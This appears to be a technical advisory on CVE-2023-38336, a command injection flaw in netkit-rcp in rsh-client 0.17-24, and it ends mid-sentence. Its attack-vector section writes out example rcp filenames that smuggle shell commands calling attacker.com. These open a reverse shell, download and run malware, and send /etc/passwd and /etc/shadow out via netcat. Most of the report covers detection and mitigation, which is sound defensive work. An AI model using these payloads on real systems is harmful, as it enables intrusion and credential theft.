Description
netkit-rcp in rsh-client 0.17-24 allows command injection via filenames because /bin/sh is used by susystem, a related issue to CVE-2006-0225, CVE-2019-7283, and CVE-2020-15778.
EPSS Score:
4%
EUVD-2023-42154 Technical Analysis Report
Executive Summary
EUVD-2023-42154 (CVE-2023-38336) represents a critical command injection vulnerability in netkit-rcp within rsh-client version 0.17-24. With a CVSS v3.1 base score of 9.8 (Critical), this vulnerability enables unauthenticated remote attackers to execute arbitrary commands through maliciously crafted filenames, exploiting the insecure use of /bin/sh in the susystem function.
1. Vulnerability Assessment and Severity Evaluation
Severity Classification
- CVSS v3.1 Score: 9.8/10 (Critical)
- EPSS Score: 4% (probability of exploitation in the wild)
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
Technical Assessment
Vulnerability Type: Command Injection (CWE-78)
Root Cause: The vulnerability stems from improper input sanitization when processing filenames in the netkit-rcp utility. The application passes unsanitized user-controlled input (filenames) to the susystem function, which internally invokes /bin/sh for command execution.
CVSS Vector Breakdown (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H):
- AV:N - Network attack vector: Exploitable remotely
- AC:L - Low attack complexity: No special conditions required
- PR:N - No privileges required: Unauthenticated exploitation
- UI:N - No user interaction needed
- S:U - Unchanged scope
- C:H/I:H/A:H - High impact on confidentiality, integrity, and availability
Severity Justification
The critical rating is warranted due to:
- Remote exploitation capability without authentication
- Complete system compromise potential (CIA triad fully impacted)
- Trivial exploitation requiring minimal technical sophistication
- Legacy protocol exposure in environments still using rsh services
2. Potential Attack Vectors and Exploitation Methods
Attack Vectors
Primary Vector: Malicious Filename Injection
# Example exploitation scenario
# Attacker crafts filename containing shell metacharacters
rcp "file;id;whoami;.txt" target:/tmp/
rcp "$(malicious_command).txt" target:/destination/
rcp "`nc attacker.com 4444 -e /bin/sh`.dat" target:/tmp/
Attack Chain
- Initial Access: Attacker identifies exposed rsh-client service
- Payload Crafting: Create filename with embedded shell commands
- Execution: Initiate rcp transfer with malicious filename
- Command Injection: susystem() passes unsanitized input to /bin/sh
- Privilege Escalation: Commands execute with rcp process privileges
- Persistence: Establish backdoor or lateral movement
Exploitation Techniques
Technique 1: Direct Command Execution
rcp "file;wget http://attacker.com/malware -O /tmp/payload;chmod +x /tmp/payload;/tmp/payload;.txt" victim:/tmp/
Technique 2: Reverse Shell Establishment
rcp "`bash -i >& /dev/tcp/attacker.com/4444 0>&1`.log" target:/var/tmp/
Technique 3: Data Exfiltration
rcp "dummy;tar czf - /etc/passwd /etc/shadow | nc attacker.com 5555;.tar" target:/tmp/
Related Vulnerabilities Context
This vulnerability follows a pattern seen in:
- CVE-2006-0225: Command injection in rsync
- CVE-2019-7283: Command injection in rcp implementations
- CVE-2020-15778: Similar shell metacharacter handling issues
This indicates a systemic issue in legacy remote copy utilities that has persisted across implementations and years.
3. Affected Systems and Software Versions
Directly Affected Software
- Package: rsh-client (netkit-rcp component)
- Vulnerable Version: 0.17-24
- Affected Distributions: Primarily Debian-based systems (per Debian bug report #1039689)
Potentially Affected Systems
Linux Distributions
- Debian: All versions shipping rsh-client 0.17-24
- Ubuntu: Derivatives using affected Debian packages
- Kali Linux: Security distributions with legacy tool support
- Legacy Enterprise Linux: Systems maintaining rsh compatibility
Deployment Scenarios at Risk
- Legacy Infrastructure: Organizations maintaining compatibility with older systems
- Industrial Control Systems (ICS): SCADA environments using rsh for legacy device management
- Academic Institutions: Research networks with historical rsh deployments
- Government Systems: Legacy administrative networks
- Embedded Systems: Appliances with rsh-based management interfaces
Detection Methods
Package Version Check:
# Debian/Ubuntu
dpkg -l | grep rsh-client
apt-cache policy rsh-client
# RPM-based systems
rpm -qa | grep rsh-client
Service Detection:
# Check for running rsh services
netstat -tulpn | grep -E ':(513|514|544)'
systemctl status rsh.socket
ps aux | grep rsh
4. Recommended Mitigation Strategies
Immediate Actions (Priority 1)
1. Service Discontinuation
# Disable and stop rsh services immediately
systemctl stop rsh.socket rlogin.socket rexec.socket
systemctl disable rsh.socket rlogin.socket rexec.socket
systemctl mask rsh.socket rlogin.socket rexec.socket
# Remove package if not required
apt-get remove --purge rsh-client rsh-server
2. Network-Level Blocking
# Firewall rules to block rsh ports
iptables -A INPUT -p tcp --dport 513:514 -j DROP
iptables -A INPUT -p tcp --dport 544 -j DROP
# For UFW users
ufw deny 513:514/tcp
ufw deny 544/tcp
3. Patch Application
Monitor and apply security updates:
apt-get update
apt-get upgrade rsh-client
Short-Term Mitigations (Priority 2)
1. Access Control Implementation
- Network Segmentation: Isolate systems requiring rsh to dedicated VLANs
- IP Whitelisting: Restrict rsh access to known management hosts
- VPN Requirements: Force rsh traffic through encrypted tunnels
2. Monitoring and Detection
# Audit logging for rsh usage
auditctl -w /usr/bin/rcp -p x -k rsh_usage
auditctl -w /usr/bin/rsh -p x -k rsh_usage
# Monitor for suspicious filenames
tail -f /var/log/auth.log | grep -E '[\;\|\&\$\`]'
Long-Term Strategic Solutions (Priority 3)
1. Migration to Secure Alternatives
Replace rsh/rcp with SSH/SCP:
# Migration example
# Old: rcp file.txt remote:/destination/
# New: scp file.txt user@remote:/destination/
# Old: rsh remote command
# New: ssh user@remote command
Implementation Roadmap:
- Phase 1: Inventory all rsh usage across infrastructure
- Phase 2: Deploy SSH infrastructure with key-based authentication
- Phase 3: Update scripts and automation to use SSH/SCP
- Phase 4: Decommission rsh services
- Phase 5: Remove rsh packages from base images
2. Security Hardening
- Principle of Least Privilege: Run services with minimal permissions
- **Application Whitel